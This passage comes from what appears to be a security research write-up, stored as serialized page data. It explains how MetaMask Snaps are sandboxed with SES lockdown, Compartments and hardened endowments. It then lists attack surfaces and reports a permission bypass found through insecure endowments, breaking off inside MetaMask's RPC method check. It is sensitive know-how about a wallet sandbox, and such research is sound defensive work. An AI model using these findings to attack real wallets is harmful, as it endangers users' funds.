Fundamentals",{"type":23,"tag":36844,"props":36845,"children":36846},"h5",{"id":36814},[36847],{"type":28,"value":36848},"Lockdown",{"type":23,"tag":24,"props":36850,"children":36851},{},[36852,36854,36860],{"type":28,"value":36853},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":23,"tag":92,"props":36855,"children":36857},{"className":36856},[],[36858],{"type":28,"value":36859},"lockdown()",{"type":28,"value":36861}," function, which protects javascript objects against some attacks, mainly:",{"type":23,"tag":4890,"props":36863,"children":36864},{},[36865,36878],{"type":23,"tag":4894,"props":36866,"children":36867},{},[36868,36870,36876],{"type":28,"value":36869},"Prototype Pollution\nLockdown executes ",{"type":23,"tag":92,"props":36871,"children":36873},{"className":36872},[],[36874],{"type":28,"value":36875},"Object.freeze",{"type":28,"value":36877}," against all javascript builtins prototypes, preventing these attacks.",{"type":23,"tag":4894,"props":36879,"children":36880},{},[36881,36883,36889,36891,36897],{"type":28,"value":36882},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":23,"tag":92,"props":36884,"children":36886},{"className":36885},[],[36887],{"type":28,"value":36888},"trace",{"type":28,"value":36890}," attribute in an ",{"type":23,"tag":92,"props":36892,"children":36894},{"className":36893},[],[36895],{"type":28,"value":36896},"Error",{"type":28,"value":36898}," object, which contains the stack trace of the error.",{"type":23,"tag":36844,"props":36900,"children":36902},{"id":36901},"compartment",[36903],{"type":28,"value":36904},"Compartment",{"type":23,"tag":24,"props":36906,"children":36907},{},[36908,36910,36916,36918,36923],{"type":28,"value":36909},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":23,"tag":92,"props":36911,"children":36913},{"className":36912},[],[36914],{"type":28,"value":36915},"globalThis",{"type":28,"value":36917}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":23,"tag":92,"props":36919,"children":36921},{"className":36920},[],[36922],{"type":28,"value":36915},{"type":28,"value":36924}," context is incapable of tampering with security.",{"type":23,"tag":87,"props":36926,"children":36928},{"className":35111,"code":36927,"language":35113,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[36929],{"type":23,"tag":92,"props":36930,"children":36931},{"__ignoreMap":7},[36932,36961,36994],{"type":23,"tag":134,"props":36933,"children":36934},{"class":136,"line":137},[36935,36939,36944,36948,36952,36957],{"type":23,"tag":134,"props":36936,"children":36937},{"style":151},[36938],{"type":28,"value":9119},{"type":23,"tag":134,"props":36940,"children":36941},{"style":162},[36942],{"type":28,"value":36943}," c",{"type":23,"tag":134,"props":36945,"children":36946},{"style":168},[36947],{"type":28,"value":171},{"type":23,"tag":134,"props":36949,"children":36950},{"style":151},[36951],{"type":28,"value":31428},{"type":23,"tag":134,"props":36953,"children":36954},{"style":264},[36955],{"type":28,"value":36956}," Compartment",{"type":23,"tag":134,"props":36958,"children":36959},{"style":179},[36960],{"type":28,"value":856},{"type":23,"tag":134,"props":36962,"children":36963},{"class":136,"line":147},[36964,36968,36972,36976,36980,36985,36989],{"type":23,"tag":134,"props":36965,"children":36966},{"style":162},[36967],{"type":28,"value":315},{"type":23,"tag":134,"props":36969,"children":36970},{"style":179},[36971],{"type":28,"value":720},{"type":23,"tag":134,"props":36973,"children":36974},{"style":162},[36975],{"type":28,"value":36915},{"type":23,"tag":134,"props":36977,"children":36978},{"style":168},[36979],{"type":28,"value":30917},{"type":23,"tag":134,"props":36981,"children":36982},{"style":162},[36983],{"type":28,"value":36984}," globalThis",{"type":23,"tag":134,"props":36986,"children":36987},{"style":179},[36988],{"type":28,"value":16699},{"type":23,"tag":134,"props":36990,"children":36991},{"style":141},[36992],{"type":28,"value":36993},"// false\n",{"type":23,"tag":134,"props":36995,"children":36996},{"class":136,"line":185},[36997,37001,37005,37009,37013,37018,37022,37027,37031],{"type":23,"tag":134,"props":36998,"children":36999},{"style":162},[37000],{"type":28,"value":315},{"type":23,"tag":134,"props":37002,"children":37003},{"style":179},[37004],{"type":28,"value":720},{"type":23,"tag":134,"props":37006,"children":37007},{"style":162},[37008],{"type":28,"value":36915},{"type":23,"tag":134,"props":37010,"children":37011},{"style":179},[37012],{"type":28,"value":720},{"type":23,"tag":134,"props":37014,"children":37015},{"style":162},[37016],{"type":28,"value":37017},"JSON",{"type":23,"tag":134,"props":37019,"children":37020},{"style":168},[37021],{"type":28,"value":30917},{"type":23,"tag":134,"props":37023,"children":37024},{"style":162},[37025],{"type":28,"value":37026}," JSON",{"type":23,"tag":134,"props":37028,"children":37029},{"style":179},[37030],{"type":28,"value":16699},{"type":23,"tag":134,"props":37032,"children":37033},{"style":141},[37034],{"type":28,"value":37035},"// true\n",{"type":23,"tag":24,"props":37037,"children":37038},{},[37039,37041,37047,37049,37055,37057,37062],{"type":28,"value":37040},"Compartment also changes the behaviour of evaluators functions such as ",{"type":23,"tag":92,"props":37042,"children":37044},{"className":37043},[],[37045],{"type":28,"value":37046},"eval",{"type":28,"value":37048}," and the ",{"type":23,"tag":92,"props":37050,"children":37052},{"className":37051},[],[37053],{"type":28,"value":37054},"Function",{"type":28,"value":37056}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":23,"tag":92,"props":37058,"children":37060},{"className":37059},[],[37061],{"type":28,"value":36915},{"type":28,"value":720},{"type":23,"tag":36844,"props":37064,"children":37066},{"id":37065},"endowments",[37067],{"type":28,"value":37068},"Endowments",{"type":23,"tag":24,"props":37070,"children":37071},{},[37072,37074,37078,37080,37085],{"type":28,"value":37073},"While creating a Compartment, it is possible to specify ",{"type":23,"tag":55,"props":37075,"children":37076},{},[37077],{"type":28,"value":37065},{"type":28,"value":37079},". These endowments constitute objects that become accessible within the Compartment's ",{"type":23,"tag":92,"props":37081,"children":37083},{"className":37082},[],[37084],{"type":28,"value":36915},{"type":28,"value":37086},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":23,"tag":24,"props":37088,"children":37089},{},[37090,37092,37098],{"type":28,"value":37091},"In addition, SES provides the ",{"type":23,"tag":92,"props":37093,"children":37095},{"className":37094},[],[37096],{"type":28,"value":37097},"harden()",{"type":28,"value":37099}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":23,"tag":18368,"props":37101,"children":37103},{"id":37102},"setting-up-snaps-execution-env",[37104],{"type":28,"value":37105},"Setting up Snaps Execution Env",{"type":23,"tag":24,"props":37107,"children":37108},{},[37109],{"type":28,"value":37110},"When starting a snap, the setup follows these steps:",{"type":23,"tag":4890,"props":37112,"children":37113},{},[37114],{"type":23,"tag":4894,"props":37115,"children":37116},{},[37117],{"type":23,"tag":2532,"props":37118,"children":37119},{},[37120,37122],{"type":28,"value":37121},"Create endowments based on snap ",{"type":23,"tag":31,"props":37123,"children":37126},{"href":37124,"rel":37125},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[35],[37127],{"type":28,"value":37128},"permissions",{"type":23,"tag":87,"props":37130,"children":37132},{"className":35111,"code":37131,"language":35113,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n    snap,\n    ethereum,\n    snapId,\n    _endowments,\n);\n",[37133],{"type":23,"tag":92,"props":37134,"children":37135},{"__ignoreMap":7},[37136,37186,37198,37209,37221,37233],{"type":23,"tag":134,"props":37137,"children":37138},{"class":136,"line":137},[37139,37143,37147,37151,37155,37160,37164,37169,37173,37177,37182],{"type":23,"tag":134,"props":37140,"children":37141},{"style":151},[37142],{"type":28,"value":9119},{"type":23,"tag":134,"props":37144,"children":37145},{"style":179},[37146],{"type":28,"value":9049},{"type":23,"tag":134,"props":37148,"children":37149},{"style":162},[37150],{"type":28,"value":37065},{"type":23,"tag":134,"props":37152,"children":37153},{"style":179},[37154],{"type":28,"value":242},{"type":23,"tag":134,"props":37156,"children":37157},{"style":162},[37158],{"type":28,"value":37159},"teardown",{"type":23,"tag":134,"props":37161,"children":37162},{"style":179},[37163],{"type":28,"value":14800},{"type":23,"tag":134,"props":37165,"children":37166},{"style":162},[37167],{"type":28,"value":37168},"endowmentTeardown",{"type":23,"tag":134,"props":37170,"children":37171},{"style":179},[37172],{"type":28,"value":35700},{"type":23,"tag":134,"props":37174,"children":37175},{"style":168},[37176],{"type":28,"value":257},{"type":23,"tag":134,"props":37178,"children":37179},{"style":264},[37180],{"type":28,"value":37181}," createEndowments",{"type":23,"tag":134,"props":37183,"children":37184},{"style":179},[37185],{"type":28,"value":642},{"type":23,"tag":134,"props":37187,"children":37188},{"class":136,"line":147},[37189,37194],{"type":23,"tag":134,"props":37190,"children":37191},{"style":162},[37192],{"type":28,"value":37193},"    snap",{"type":23,"tag":134,"props":37195,"children":37196},{"style":179},[37197],{"type":28,"value":687},{"type":23,"tag":134,"props":37199,"children":37200},{"class":136,"line":185},[37201,37205],{"type":23,"tag":134,"props":37202,"children":37203},{"style":162},[37204],{"type":28,"value":30979},{"type":23,"tag":134,"props":37206,"children":37207},{"style":179},[37208],{"type":28,"value":687},{"type":23,"tag":134,"props":37210,"children":37211},{"class":136,"line":221},[37212,37217],{"type":23,"tag":134,"props":37213,"children":37214},{"style":162},[37215],{"type":28,"value":37216},"    snapId",{"type":23,"tag":134,"props":37218,"children":37219},{"style":179},[37220],{"type":28,"value":687},{"type":23,"tag":134,"props":37222,"children":37223},{"class":136,"line":332},[37224,37229],{"type":23,"tag":134,"props":37225,"children":37226},{"style":162},[37227],{"type":28,"value":37228},"    _endowments",{"type":23,"tag":134,"props":37230,"children":37231},{"style":179},[37232],{"type":28,"value":687},{"type":23,"tag":134,"props":37234,"children":37235},{"class":136,"line":438},[37236],{"type":23,"tag":134,"props":37237,"children":37238},{"style":179},[37239],{"type":28,"value":1021},{"type":23,"tag":24,"props":37241,"children":37242},{},[37243],{"type":28,"value":37244},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":23,"tag":24,"props":37246,"children":37247},{},[37248,37250,37256,37258,37264],{"type":28,"value":37249},"One clear example is the ",{"type":23,"tag":92,"props":37251,"children":37253},{"className":37252},[],[37254],{"type":28,"value":37255},"endowment:network-access",{"type":28,"value":37257}," permission, that adds the ",{"type":23,"tag":92,"props":37259,"children":37261},{"className":37260},[],[37262],{"type":28,"value":37263},"fetch()",{"type":28,"value":37265}," function to the endowments.",{"type":23,"tag":24,"props":37267,"children":37268},{},[37269,37271,37277],{"type":28,"value":37270},"All endowments are protected with the ",{"type":23,"tag":92,"props":37272,"children":37274},{"className":37273},[],[37275],{"type":28,"value":37276},"harden",{"type":28,"value":37278}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":23,"tag":4890,"props":37280,"children":37281},{"start":147},[37282],{"type":23,"tag":4894,"props":37283,"children":37284},{},[37285],{"type":23,"tag":2532,"props":37286,"children":37287},{},[37288,37290],{"type":28,"value":37289},"Create the snap ",{"type":23,"tag":31,"props":37291,"children":37294},{"href":37292,"rel":37293},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[35],[37295],{"type":28,"value":36901},{"type":23,"tag":87,"props":37297,"children":37299},{"className":35111,"code":37298,"language":35113,"meta":7,"style":7},"const compartment = new Compartment({\n    ...endowments,\n    module: snapModule,\n    exports: snapModule.exports,\n});\n",[37300],{"type":23,"tag":92,"props":37301,"children":37302},{"__ignoreMap":7},[37303,37331,37347,37364,37389],{"type":23,"tag":134,"props":37304,"children":37305},{"class":136,"line":137},[37306,37310,37315,37319,37323,37327],{"type":23,"tag":134,"props":37307,"children":37308},{"style":151},[37309],{"type":28,"value":9119},{"type":23,"tag":134,"props":37311,"children":37312},{"style":162},[37313],{"type":28,"value":37314}," compartment",{"type":23,"tag":134,"props":37316,"children":37317},{"style":168},[37318],{"type":28,"value":171},{"type":23,"tag":134,"props":37320,"children":37321},{"style":151},[37322],{"type":28,"value":31428},{"type":23,"tag":134,"props":37324,"children":37325},{"style":264},[37326],{"type":28,"value":36956},{"type":23,"tag":134,"props":37328,"children":37329},{"style":179},[37330],{"type":28,"value":14609},{"type":23,"tag":134,"props":37332,"children":37333},{"class":136,"line":147},[37334,37339,37343],{"type":23,"tag":134,"props":37335,"children":37336},{"style":168},[37337],{"type":28,"value":37338},"    ...",{"type":23,"tag":134,"props":37340,"children":37341},{"style":162},[37342],{"type":28,"value":37065},{"type":23,"tag":134,"props":37344,"children":37345},{"style":179},[37346],{"type":28,"value":687},{"type":23,"tag":134,"props":37348,"children":37349},{"class":136,"line":185},[37350,37355,37360],{"type":23,"tag":134,"props":37351,"children":37352},{"style":162},[37353],{"type":28,"value":37354},"    module:",{"type":23,"tag":134,"props":37356,"children":37357},{"style":162},[37358],{"type":28,"value":37359}," snapModule",{"type":23,"tag":134,"props":37361,"children":37362},{"style":179},[37363],{"type":28,"value":687},{"type":23,"tag":134,"props":37365,"children":37366},{"class":136,"line":221},[37367,37372,37376,37380,37385],{"type":23,"tag":134,"props":37368,"children":37369},{"style":162},[37370],{"type":28,"value":37371},"    exports:",{"type":23,"tag":134,"props":37373,"children":37374},{"style":162},[37375],{"type":28,"value":37359},{"type":23,"tag":134,"props":37377,"children":37378},{"style":179},[37379],{"type":28,"value":720},{"type":23,"tag":134,"props":37381,"children":37382},{"style":162},[37383],{"type":28,"value":37384},"exports",{"type":23,"tag":134,"props":37386,"children":37387},{"style":179},[37388],{"type":28,"value":687},{"type":23,"tag":134,"props":37390,"children":37391},{"class":136,"line":332},[37392],{"type":23,"tag":134,"props":37393,"children":37394},{"style":179},[37395],{"type":28,"value":34835},{"type":23,"tag":24,"props":37397,"children":37398},{},[37399,37401,37407,37408,37413,37415,37420],{"type":28,"value":37400},"Note: ",{"type":23,"tag":92,"props":37402,"children":37404},{"className":37403},[],[37405],{"type":28,"value":37406},"module",{"type":28,"value":10458},{"type":23,"tag":92,"props":37409,"children":37411},{"className":37410},[],[37412],{"type":28,"value":37384},{"type":28,"value":37414}," are passed as endowments, but without being ",{"type":23,"tag":55,"props":37416,"children":37417},{},[37418],{"type":28,"value":37419},"hardened",{"type":28,"value":37421},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":23,"tag":4890,"props":37423,"children":37424},{"start":185},[37425],{"type":23,"tag":4894,"props":37426,"children":37427},{},[37428],{"type":23,"tag":2532,"props":37429,"children":37430},{},[37431,37433],{"type":28,"value":37432},"Evaluate the snap code inside the ",{"type":23,"tag":31,"props":37434,"children":37437},{"href":37435,"rel":37436},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[35],[37438],{"type":28,"value":36901},{"type":23,"tag":87,"props":37440,"children":37442},{"className":35111,"code":37441,"language":35113,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n    compartment.evaluate(sourceCode);\n    this.registerSnapExports(snapId, snapModule);\n});\n",[37443],{"type":23,"tag":92,"props":37444,"children":37445},{"__ignoreMap":7},[37446,37487,37517,37554],{"type":23,"tag":134,"props":37447,"children":37448},{"class":136,"line":137},[37449,37453,37457,37461,37466,37470,37474,37479,37483],{"type":23,"tag":134,"props":37450,"children":37451},{"style":189},[37452],{"type":28,"value":32412},{"type":23,"tag":134,"props":37454,"children":37455},{"style":151},[37456],{"type":28,"value":35214},{"type":23,"tag":134,"props":37458,"children":37459},{"style":179},[37460],{"type":28,"value":720},{"type":23,"tag":134,"props":37462,"children":37463},{"style":264},[37464],{"type":28,"value":37465},"executeInSnapContext",{"type":23,"tag":134,"props":37467,"children":37468},{"style":179},[37469],{"type":28,"value":272},{"type":23,"tag":134,"props":37471,"children":37472},{"style":162},[37473],{"type":28,"value":35518},{"type":23,"tag":134,"props":37475,"children":37476},{"style":179},[37477],{"type":28,"value":37478},", () ",{"type":23,"tag":134,"props":37480,"children":37481},{"style":151},[37482],{"type":28,"value":14290},{"type":23,"tag":134,"props":37484,"children":37485},{"style":179},[37486],{"type":28,"value":463},{"type":23,"tag":134,"props":37488,"children":37489},{"class":136,"line":147},[37490,37495,37499,37504,37508,37513],{"type":23,"tag":134,"props":37491,"children":37492},{"style":162},[37493],{"type":28,"value":37494},"    compartment",{"type":23,"tag":134,"props":37496,"children":37497},{"style":179},[37498],{"type":28,"value":720},{"type":23,"tag":134,"props":37500,"children":37501},{"style":264},[37502],{"type":28,"value":37503},"evaluate",{"type":23,"tag":134,"props":37505,"children":37506},{"style":179},[37507],{"type":28,"value":272},{"type":23,"tag":134,"props":37509,"children":37510},{"style":162},[37511],{"type":28,"value":37512},"sourceCode",{"type":23,"tag":134,"props":37514,"children":37515},{"style":179},[37516],{"type":28,"value":1021},{"type":23,"tag":134,"props":37518,"children":37519},{"class":136,"line":185},[37520,37524,37528,37533,37537,37541,37545,37550],{"type":23,"tag":134,"props":37521,"children":37522},{"style":151},[37523],{"type":28,"value":35562},{"type":23,"tag":134,"props":37525,"children":37526},{"style":179},[37527],{"type":28,"value":720},{"type":23,"tag":134,"props":37529,"children":37530},{"style":264},[37531],{"type":28,"value":37532},"registerSnapExports",{"type":23,"tag":134,"props":37534,"children":37535},{"style":179},[37536],{"type":28,"value":272},{"type":23,"tag":134,"props":37538,"children":37539},{"style":162},[37540],{"type":28,"value":35518},{"type":23,"tag":134,"props":37542,"children":37543},{"style":179},[37544],{"type":28,"value":242},{"type":23,"tag":134,"props":37546,"children":37547},{"style":162},[37548],{"type":28,"value":37549},"snapModule",{"type":23,"tag":134,"props":37551,"children":37552},{"style":179},[37553],{"type":28,"value":1021},{"type":23,"tag":134,"props":37555,"children":37556},{"class":136,"line":221},[37557],{"type":23,"tag":134,"props":37558,"children":37559},{"style":179},[37560],{"type":28,"value":34835},{"type":23,"tag":24,"props":37562,"children":37563},{},[37564,37566,37572,37573,37579,37580,37586],{"type":28,"value":37565},"According to the documentation, the snap must contain one of the following function exports: ",{"type":23,"tag":92,"props":37567,"children":37569},{"className":37568},[],[37570],{"type":28,"value":37571},"onRpcRequest",{"type":28,"value":242},{"type":23,"tag":92,"props":37574,"children":37576},{"className":37575},[],[37577],{"type":28,"value":37578},"onTransaction",{"type":28,"value":12601},{"type":23,"tag":92,"props":37581,"children":37583},{"className":37582},[],[37584],{"type":28,"value":37585},"onCronjob",{"type":28,"value":720},{"type":23,"tag":24,"props":37588,"children":37589},{},[37590,37592,37597],{"type":28,"value":37591},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":23,"tag":92,"props":37593,"children":37595},{"className":37594},[],[37596],{"type":28,"value":36915},{"type":28,"value":37598}," environment of that Compartment.",{"type":23,"tag":24,"props":37600,"children":37601},{},[37602],{"type":28,"value":37603},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":23,"tag":61,"props":37605,"children":37607},{"id":37606},"vulnerability-research",[37608],{"type":28,"value":37609},"Vulnerability research",{"type":23,"tag":9072,"props":37611,"children":37613},{"id":37612},"possible-attacks",[37614],{"type":28,"value":37615},"Possible attacks",{"type":23,"tag":24,"props":37617,"children":37618},{},[37619],{"type":28,"value":37620},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":23,"tag":16158,"props":37622,"children":37623},{},[37624,37629,37634,37639],{"type":23,"tag":4894,"props":37625,"children":37626},{},[37627],{"type":28,"value":37628},"Broken SES Container isolation",{"type":23,"tag":4894,"props":37630,"children":37631},{},[37632],{"type":28,"value":37633},"Insecure endowments in Containers",{"type":23,"tag":4894,"props":37635,"children":37636},{},[37637],{"type":28,"value":37638},"Incorrect RPC permission checks",{"type":23,"tag":4894,"props":37640,"children":37641},{},[37642],{"type":28,"value":37643},"Insecure snap installation/update",{"type":23,"tag":24,"props":37645,"children":37646},{},[37647],{"type":28,"value":37648},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":23,"tag":24,"props":37650,"children":37651},{},[37652],{"type":28,"value":37653},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":23,"tag":9072,"props":37655,"children":37657},{"id":37656},"rpc-interfaces-endowments",[37658],{"type":28,"value":37659},"RPC interfaces endowments",{"type":23,"tag":18368,"props":37661,"children":37663},{"id":37662},"providers-limitations",[37664],{"type":28,"value":37665},"Providers limitations",{"type":23,"tag":24,"props":37667,"children":37668},{},[37669,37671,37677,37678,37683,37685,37692],{"type":28,"value":37670},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":23,"tag":92,"props":37672,"children":37674},{"className":37673},[],[37675],{"type":28,"value":37676},"snap",{"type":28,"value":10458},{"type":23,"tag":92,"props":37679,"children":37681},{"className":37680},[],[37682],{"type":28,"value":30912},{"type":28,"value":37684}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":23,"tag":31,"props":37686,"children":37689},{"href":37687,"rel":37688},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[35],[37690],{"type":28,"value":37691},"methods",{"type":28,"value":1697},{"type":23,"tag":87,"props":37694,"children":37696},{"className":35111,"code":37695,"language":35113,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n  assert(\n    String.prototype.startsWith.call(args.method, 'wallet_') ||\n      String.prototype.startsWith.call(args.method, 'snap_'),\n    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n  );\n  assert(\n    !BLOCKED_RPC_METHODS.includes(args.method),\n    ethErrors.rpc.methodNotFound({\n      data: {\n        method: args.method,\n      },\n    }),\n  );\n  assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[37697],{"type":23,"tag":92,"props":37698,"children":37699},{"__ignoreMap":7},[37700,37740,37748,37760,37830,37891,37903,37911,37922,37962,37992,38004,38029,38036,38044,38051,38089],{"type":23,"tag":134,"props":37701,"children":37702},{"class":136,"line":137},[37703,37708,37713,37718,37722,37727,37731,37736],{"type":23,"tag":134,"props":37704,"children":37705},{"style":189},[37706],{"type":28,"value":37707},"export",{"type":23,"tag":134,"props":37709,"children":37710},{"style":151},[37711],{"type":28,"value":37712}," function",{"type":23,"tag":134,"props":37714,"children":37715},{"style":264},[37716],{"type":28,"value":37717}," assertSnapOutboundRequest",{"type":23,"tag":134,"props":37719,"children":37720},{"style":179},[37721],{"type":28,"value":272},{"type":23,"tag":134,"props":37723,"children":37724},{"style":162},[37725],{"type":28,"value":37726},"args",{"type":23,"tag":134,"props":37728,"children":37729},{"style":168},[37730],{"type":28,"value":1697},{"type":23,"tag":134,"props":37732,"children":37733},{"style":597},[37734],{"type":28,"value":37735}," RequestArguments",{"type":23,"tag":134,"props":37737,"children":37738},{"style":179},[37739],{"type":28,"value":14272},{"type":23,"tag":134,"props":37741,"children":37742},{"class":136,"line":147},[37743],{"type":23,"tag":134,"props":37744,"children":37745},{"style":141},[37746],{"type":28,"value":37747},"  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":23,"tag":134,"props":37749,"children":37750},{"class":136,"line":185},[37751,37756],{"type":23,"tag":134,"props":37752,"children":37753},{"style":264},[37754],{"type":28,"value":37755},"  assert",{"type":23,"tag":134,"props":37757,"children":37758},{"style":179},[37759],{"type":28,"value":642},{"type":23,"tag":134,"props":37761,"children":37762},{"class":136,"line":221},[37763,37768,37772,37777,37781,37786,37790,37795,37799,37803,37807,37812,37816,37821,37825],{"type":23,"tag":134,"props":37764,"children":37765},{"style":597},[37766],{"type":28,"value":37767},"    String",{"type":23,"tag":134,"props":37769,"children":37770},{"style":179},[37771],{"type":28,"value":720},{"type":23,"tag":134,"props":37773,"children":37774},{"style":162},[37775],{"type":28,"value":37776},"prototype",{"type":23,"tag":134,"props":37778,"children":37779},{"style":179},[37780],{"type":28,"value":720},{"type":23,"tag":134,"props":37782,"children":37783},{"style":162},[37784],{"type":28,"value":37785},"startsWith",{"type":23,"tag":134,"props":37787,"children":37788},{"style":179},[37789],{"type":28,"value":720},{"type":23,"tag":134,"props":37791,"children":37792},{"style":264},[37793],{"type":28,"value":37794},"call",{"type":23,"tag":134,"props":37796,"children":37797},{"style":179},[37798],{"type":28,"value":272},{"type":23,"tag":134,"props":37800,"children":37801},{"style":162},[37802],{"type":28,"value":37726},{"type":23,"tag":134,"props":37804,"children":37805},{"style":179},[37806],{"type":28,"value":720},{"type":23,"tag":134,"props":37808,"children":37809},{"style":162},[37810],{"type":28,"value":37811},"method",{"type":23,"tag":134,"props":37813,"children":37814},{"style":179},[37815],{"type":28,"value":242},{"type":23,"tag":134,"props":37817,"children":37818},{"style":1461},[37819],{"type":28,"value":37820},"'wallet_'",{"type":23,"tag":134,"props":37822,"children":37823},{"style":179},[37824],{"type":28,"value":252},{"type":23,"tag":134,"props":37826,"children":37827},{"style":168},[37828],{"type":28,"value":37829},"||\n",{"type":23,"tag":134,"props":37831,"children":37832},{"class":136,"line":332},[37833,37838,37842,37846,37850,37854,37858,37862,37866,37870,37874,37878,37882,37887],{"type":23,"tag":134,"props":37834,"children":37835},{"style":597},[37836],{"type":28,"value":37837},"      String",{"type":23,"tag":134,"props":37839,"children":37840},{"style":179},[37841],{"type":28,"value":720},{"type":23,"tag":134,"props":37843,"children":37844},{"style":162},[37845],{"type":28,"value":37776},{"type":23,"tag":134,"props":37847,"children":37848},{"style":179},[37849],{"type":28,"value":720},{"type":23,"tag":134,"props":37851,"children":37852},{"style":162},[37853],{"type":28,"value":37785},{"type":23,"tag":134,"props":37855,"children":37856},{"style":179},[37857],{"type":28,"value":720},{"type":23,"tag":134,"props":37859,"children":37860},{"style":264},[37861],{"type":28,"value":37794},{"type":23,"tag":134,"props":37863,"children":37864},{"style":179},[37865],{"type":28,"value":272},{"type":23,"tag":134,"props":37867,"children":37868},{"style":162},[37869],{"type":28,"value":37726},{"type":23,"tag":134,"props":37871,"children":37872},{"style":179},[37873],{"type":28,"value":720},{"type":23,"tag":134,"props":37875,"children":37876},{"style":162},[37877],{"type":28,"value":37811},{"type":23,"tag":134,"props":37879,"children":37880},{"style":179},[37881],{"type":28,"value":242},{"type":23,"tag":134,"props":37883,"children":37884},{"style":1461},[37885],{"type":28,"value":37886},"'snap_'",{"type":23,"tag":134,"props":37888,"children":37889},{"style":179},[37890],{"type":28,"value":6194},{"type":23,"tag":134,"props":37892,"children":37893},{"class":136,"line":438},[37894,37899],{"type":23,"tag":134,"props":37895,"children":37896},{"style":1461},[37897],{"type":28,"value":37898},"    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":23,"tag":134,"props":37900,"children":37901},{"style":179},[37902],{"type":28,"value":687},{"type":23,"tag":134,"props":37904,"children":37905},{"class":136,"line":466},[37906],{"type":23,"tag":134,"props":37907,"children":37908},{"style":179},[37909],{"type":28,"value":37910},"  );\n",{"type":23,"tag":134,"props":37912,"children":37913},{"class":136,"line":479},[37914,37918],{"type":23,"tag":134,"props":37915,"children":37916},{"style":264},[37917],{"type":28,"value":37755},{"type":23,"tag":134,"props":37919,"children":37920},{"style":179},[37921],{"type":28,"value":642},{"type":23,"tag":134,"props":37923,"children":37924},{"class":136,"line":497},[37925,37929,37934,37938,37942,37946,37950,37954,37958],{"type":23,"tag":134,"props":37926,"children":37927},{"style":168},[37928],{"type":28,"value":20448},{"type":23,"tag":134,"props":37930,"children":37931},{"style":162},[37932],{"type":28,"value":37933},"BLOCKED_RPC_METHODS",{"type":23,"tag":134,"props":37935,"children":37936},{"style":179},[37937],{"type":28,"value":720},{"type":23,"tag":134,"props":37939,"children":37940},{"style":264},[37941],{"type":28,"value":34678},{"type":23,"tag":134,"props":37943,"children":37944},{"style":179},[37945],{"type":28,"value":272},{"type":23,"tag":134,"props":37947,"children":37948},{"style":162},[37949],{"type":28,"value":37726},{"type":23,"tag":134,"props":37951,"children":37952},{"style":179},[37953],{"type":28,"value":720},{"type":23,"tag":134,"props":37955,"children":37956},{"style":162},[37957],{"type":28,"value":37811},{"type":23,"tag":134,"props":37959,"children":37960},{"style":179},[37961],{"type":28,"value":6194},{"type":23,"tag":134,"props":37963,"children":37964},{"class":136,"line":518},[37965,37970,37974,37979,37983,37988],{"type":23,"tag":134,"props":37966,"children":37967},{"style":162},[37968],{"type":28,"value":37969},"    ethErrors",{"type":23,"tag":134,"props":37971,"children":37972},{"style":179},[37973],{"type":28,"value":720},{"type":23,"tag":134,"props":37975,"children":37976},{"style":162},[37977],{"type":28,"value":37978},"rpc",{"type":23,"tag":134,"props":37980,"children":37981},{"style":179},[37982],{"type":28,"value":720},{"type":23,"tag":134,"props":37984,"children":37985},{"style":264},[37986],{"type":28,"value":37987},"methodNotFound",{"type":23,"tag":134,"props":37989,"children":37990},{"style":179},[37991],{"type":28,"value":14609},{"type":23,"tag":134,"props":37993,"children":37994},{"class":136,"line":527},[37995,38000],{"type":23,"tag":134,"props":37996,"children":37997},{"style":162},[37998],{"type":28,"value":37999},"      data:",{"type":23,"tag":134,"props":38001,"children":38002},{"style":179},[38003],{"type":28,"value":463},{"type":23,"tag":134,"props":38005,"children":38006},{"class":136,"line":780},[38007,38012,38017,38021,38025],{"type":23,"tag":134,"props":38008,"children":38009},{"style":162},[38010],{"type":28,"value":38011},"        method:",{"type":23,"tag":134,"props":38013,"children":38014},{"style":162},[38015],{"type":28,"value":38016}," 